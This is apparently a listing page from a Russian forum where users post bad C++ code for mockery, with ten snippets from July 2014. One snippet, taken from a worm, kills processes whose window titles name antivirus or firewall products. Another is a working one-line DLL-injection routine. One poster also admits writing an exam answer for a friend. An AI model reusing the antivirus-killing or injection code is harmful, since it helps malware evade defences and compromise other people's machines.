1. C++ / Говнокод #16348

    +26

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    #include "stdafx.h"
    #include <stdio.h>
    #include <iostream>
    #include <conio.h>
    using namespace std;
    int main(){
    	setlocale(0,"");
    	int mss[4][3] = {4,2,4,3,1,9,1,6,9,1,1,9};
    	
    	printf("Значение ячеек массива:\n");
    	cout<<mss[0][0]<<" "<<mss[0][1]<<" "<<mss[0][2]<<"\n";
    	cout<<mss[1][0]<<" "<<mss[1][1]<<" "<<mss[1][2]<<"\n";
    	cout<<mss[2][0]<<" "<<mss[2][1]<<" "<<mss[2][2]<<"\n";
    	cout<<mss[3][0]<<" "<<mss[3][1]<<" "<<mss[3][2]<<"\n\n";
    
    	int *p1=&mss[1][0], *p2=p1;
    	printf("Значения созданных указателей *p1 и *p2:\n");
    	cout<<*p1<<" "<<*p2<<"\n\n";
    
    	mss[3][*p1-1]=(mss[2][0]-3)*(*p1);
    	
    	printf("Значение mss[3][2] после присваивания ему значения (mss[2][0]-3)*(*p1):\n");
    	cout<<mss[3][2]<<"\n\n";
    
    	mss[0][2]++;
    	printf("Значение mss[0][2] после его инкремента:\n");
    	cout<<mss[0][2]<<"\n\n";
    
    	*p1=(!mss[3][0]<*p2)?5*mss[3][0]/4:mss[0][2]-mss[1][2];
    	printf("Значение *p1 после присваивания 5*1/4=5/4=1,25=1 по условию:\n");
    	cout<<*p1<<"\n\n";
    
    	*p1=*p2/(mss[0][0]+1);
    	printf("Значение *p1 после присваивания *p2/(mss[0][0]+1):\n");
    	cout<<*p1<<"\n\n";
    
    	*p1=mss[0][0];
    	printf("Значение *p1 после присваивания mss[0][0]:\n");
    	cout<<*p1<<"\n\n";
    	
    	p2=&mss[2][2];
    	printf("Значение p2 после присваивания &mss[2][2]:\n");
    	cout<<p2<<"\n\n";
    
    	*p2=*p2%4+mss[2][2];
    	printf("Значение *p2 после присваивания *p2%4+mss[2][2]:\n");
    	cout<<*p2<<"\n\n";
    
    	printf("Результирующие значения ячеек массива после всех вычислений:\n");
    	cout<<mss[0][0]<<" "<<mss[0][1]<<" "<<mss[0][2]<<"\n";
    	cout<<mss[1][0]<<" "<<mss[1][1]<<" "<<mss[1][2]<<"\n";
    	cout<<mss[2][0]<<" "<<mss[2][1]<<" "<<mss[2][2]<<"\n";
    	cout<<mss[3][0]<<" "<<mss[3][1]<<" "<<mss[3][2]<<"\n\n";
    
    	printf("[...Нажмите на любую клавишу для завершения работы программы...]");
    	_getch();
    }

    Я ХЗ, что это за долбонутая хренотень, но такое задание дали знакомому на экзамене, вместо которого пришлось это решать, да ещё так, что бы экзаменаторша поверила, что это сделал он ( я же ему писал и скидывал на ВК ). А он же в этом нуб похлеще меня ( я мало на плюсах писал ). Короче, это самое неэффективное и упоротое решение среди всех. Я нафига-то подключил тут conio.h, хотя его использовал 1 раз вместо system("pause"), которое было бы кстати. А ещё тут раньше было дофига комментариев, дабы чувак хоть что-то понял. Но этот код вышел в итоге настолько долбонутым, что эти комментарии даже его сделали нечитаемым вовсе. :DDDDDDD Один знакомый чувак, что на кодера учится, охренел от вида этого безобразия. Ещё одна упртсть - то, что я чередовал printf и cout. Ну и подключил в итоге лишнюю библиотеку, хотя можно было использовать что-то одно и не подключать всякую хрень. Короче, этот код ужасен. Но я писал и похлеще. :D Особенно когда пришлось однажды другому уже чуваку на ВК скидывать решения, которые я писал в блокнот с планшета с опечатками. Это было ужасно...

    CodeStar, 15 Июля 2014

    Комментарии (4)
  2. C++ / Говнокод #16341

    +26

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    char* bad_windows_list[kx] = {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"};
    
    BOOL BadWindow(LPSTR strWindow)
    {
    BOOL res = FALSE;
    for (int i=0;i<kx;i++)
    if (strstr(strWindow,bad_windows_list[i])!=0) res = TRUE;
    return res;
    }
    BOOL CALLBACK WndEnumProcMine (HWND hwnd1,long l1)
    {
    LPTSTR str1 = new char[255];
    GetWindowText(hwnd1,str1,255);
    if (BadWindow(str1))
    {
    DWORD dwProcessId;
    GetWindowThreadProcessId(hwnd1,&dwProcessId);
    if (dwProcessId!=GetCurrentProcessId())
    {
    HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS,FALSE, dwProcessId);
    TerminateProcess(hProcess,0);
    CloseHandle(hProcess);
    }
    }
    delete str1;
    return TRUE;
    }
    void EnumProcessesOther()
    {
    LPARAM c = 0;
    EnumWindows((WNDENUMPROC) WndEnumProcMine,c);
    }

    > {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"}
    > TerminateProcess(hProcess,0);
    Наивный макак.

    http://www.makak.ru/2008/02/27/neslozhnyj-rezidentnyj-virus-cherv-na-c/

    gost, 15 Июля 2014

    Комментарии (23)
  3. C++ / Говнокод #16339

    +28

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    #include <iostream>
    using namespace std;
    
    int main()
    {
        int a; // Объявление статической переменной
        int b = 5; // Инициализация статической переменной b
    
        a = 10;
        b = a + b;
        cout << "b is " << b << endl;
        return 0;
    }

    Комментарии доставляют.
    http://code-live.ru/post/cpp-pointers/

    gost, 15 Июля 2014

    Комментарии (0)
  4. C++ / Говнокод #16322

    +28

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    TLSOSI7Command &TLSLongTelegram::GetOSI7Command () const
    {
       if(!m_pOSI7Command) { // private pointer not initialized
                  // WARNING! Quick'n'dirty! is UNINITIALIZED althoug it should be - just for preventing abnormal end!
                  const_cast<TLSOSI7Command*>(m_pOSI7Command)=new TLSOSI7Command;
       } // private pointer not initialized
       else 
       { 
                 // NOT private pointer not initialized
       }; 
       // NOT private pointer not initialized
       return *m_pOSI7Command;
    }

    m)

    blackhearted, 14 Июля 2014

    Комментарии (21)
  5. C++ / Говнокод #16318

    +27

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    @@ -50,9 +50,6 @@ void AreaTrigger::RemoveFromWorld()
          ///- Remove the AreaTrigger from the accessor and from all lists of objects in world
          if (IsInWorld())
          {
     -        if (!IsInWorld())
     -            return;
     -
              WorldObject::RemoveFromWorld();
              sObjectAccessor->RemoveObject(this);
          }

    "Core/AreaTrigger: Remove useful check"
    https://github.com/TrinityCore/TrinityCore/commit/d920463fe5fe6eee7c4a8e2d777720fcfbe6f08f

    Actine, 13 Июля 2014

    Комментарии (6)
  6. C++ / Говнокод #16314

    +20

    1. 1
    2. 2
    3. 3
    4. 4
    const char dll[] = "C:\\sperhacks\\superhack.dll";
    LPVOID mem = NULL;
    DWORD PID = 666;
    if (WriteProcessMemory(OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION, FALSE, PID), (mem = VirtualAllocEx(OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION, FALSE, PID), NULL, sizeof(dll), MEM_COMMIT, PAGE_EXECUTE_READWRITE)), dll, sizeof(dll), NULL) && CreateRemoteThread(OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD |PROCESS_QUERY_INFORMATION, FALSE, PID), NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA"), mem, NULL, NULL));

    Говнопособие для самых маленьких: dll-injection в 4 строки. Можно и без кучи OpenProcess, тогда в 5 строк.

    gost, 12 Июля 2014

    Комментарии (11)
  7. C++ / Говнокод #16289

    +25

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    case 'z':
    {
    	int diff;
    	char const *sign;
    
    	if (t->tm_isdst < 0)
    	  continue;
    	continue;
    	if (diff < 0)
    	  {
    		sign = "-";
    		diff = -diff;
    	  }
    	else
    	  sign = "+";
    	pt = _add (sign, pt, ptlim);
    	diff /= 60;
    	pt = _conv ((diff / 60) * 100 + diff % 60, "%04d", pt, ptlim);
    }
    continue;

    https://github.com/Helco/PebbleLocalSim/blob/master/additionalSource/strftime.c

    байтоёбы-байтоёбики...
    для упоротых - строки 7 и 8.

    blackhearted, 08 Июля 2014

    Комментарии (8)
  8. C++ / Говнокод #16287

    +28

    1. 1
    2. 2
    // Пароль админа
    const unsigned int AdminPassword = 42;

    Откопал в своем старом коде. Кто тут говорил, что Борманд не говнокодит?

    bormand, 08 Июля 2014

    Комментарии (31)
  9. C++ / Говнокод #16276

    +19

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    wstring& delphi::IntToStr(int integer, wstring& str)
    {
    	if (0 == integer)		
    		return str = L"0";	
    	
    	str.clear();
    	wstring sign(L"");
    	if (integer < 0)
    	{
    		sign = L"-";
    		integer = -integer;
    	}
    	else
    		sign = L"";
    
    	while (integer >= 1)
    	{
    		str.push_back( (integer % 10) + 48 );  
    		integer /= 10;
    	}
    	str += sign;
    	std::reverse(str.begin(), str.end());
    			
    	return str;
    }

    snw, 03 Июля 2014

    Комментарии (59)
  10. C++ / Говнокод #16271

    +18

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    #include <iostream>
    #include <memory>
    #include <mutex>
    #include <condition_variable>
    #include <atomic>
    
    
    typedef ::std::unique_lock<::std::mutex> TLock;
    
    using namespace std;
    template<typename T>
    class TQueueElement
    {
    public:
    	T _data;
    	std::shared_ptr<TQueueElement<T> > _prev;
    	mutable ::std::mutex _lockElem;
    
    public:
    	TQueueElement(T data):_data(data),_prev(nullptr){};
    	virtual ~TQueueElement(){};
    
    
    };
    
    template<typename T>
    class TQueue
    {
    private:
    	mutable ::std::mutex _lockHead;
    	mutable ::std::mutex _lockTail;
    	::std::condition_variable _pushToQueue;
    	std::atomic<bool> _isEmpty;
    	std::shared_ptr<TQueueElement<T> > _tail;
    	std::shared_ptr<TQueueElement<T> > _head;
    
    public:
    	TQueue():_lockHead(),_isEmpty(true){};
    	virtual ~TQueue(){};
    
    ///получаем элемент из очереди
    	T pop()
    	{
    		TLock lock(_lockTail);//блокируем все получения из очереди
    		if (_tail==nullptr) 
    			{_isEmpty=true; _pushToQueue.wait(lock,[this](){return !_isEmpty;});} //если очередь пуста ожидаем пока в ней чтото появиться 
    		{
    			TLock lockTail(_tail->_lockElem); //блокируем последний элемент в очереди возможно к нему попробуют обратиться во время запихивания в очередь
    			auto data=_tail->_data;
    			_tail=_tail->_prev;
    			return data;
    		}
    		
    	}
    
    	void push(T data)
    	{
    		auto el=std::shared_ptr<TQueueElement<T> >(new TQueueElement<T>(data));//заранее создаем элемент очереди 
    		TLock lock(_lockHead);
    		if (_isEmpty)//если очередь пуста говорим что наш элемент пока первый и последний
    		{
    			_head=el;
    			_tail=el;
    			_isEmpty=false;
    			_pushToQueue.notify_all();
    		}else//если очередь не пуста 
    		{
    			{
    				TLock lockHead(_head->_lockElem); //блокируем голову от возможного обращения с хвоста
    				_head->_prev=el; //выставляем ссылку на новую голову у старой
    			}
    			_head=el;//выставляем новую голову
    		}
    	}
    
    
    	
    };
    
    
    int main() {
    	TQueue<int> q;
    	q.push(7);
    	q.pop();
    	// your code goes here
    	return 0;
    }

    https://ideone.com/uGX56M
    Ничего не забыл ? Пытался написать очередь для межпоточной синхронизации.

    IKing, 02 Июля 2014

    Комментарии (31)